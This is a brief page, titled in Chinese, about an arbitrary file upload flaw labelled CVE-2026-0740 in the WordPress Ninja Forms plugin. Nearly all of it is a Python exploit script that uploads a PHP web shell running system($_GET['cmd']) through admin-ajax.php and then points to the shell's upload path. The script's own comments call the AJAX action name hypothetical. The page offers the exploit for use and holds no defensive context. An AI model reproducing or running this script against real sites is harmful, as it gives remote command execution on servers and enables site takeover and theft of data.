CVE-2026-0740 WordPress Ninja Forms任意文件上传漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" shell_filename = "shell.php" # The malicious payload to upload payload = """<?php system($_GET['cmd']); ?>""" # Data for the request, exploiting the vulnerable action # Note: The specific action name might vary based on plugin internals files = { 'file': (shell_filename, payload, 'application/octet-stream') } data = { 'action': 'nf_fu_ajax_upload' # Hypothetical action based on function name } try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print(f"[+] Payload uploaded successfully!") print(f"[+] Check your shell at: http://example.com/wp-content/uploads/{shell_filename}") else: print(f"[-] Upload failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")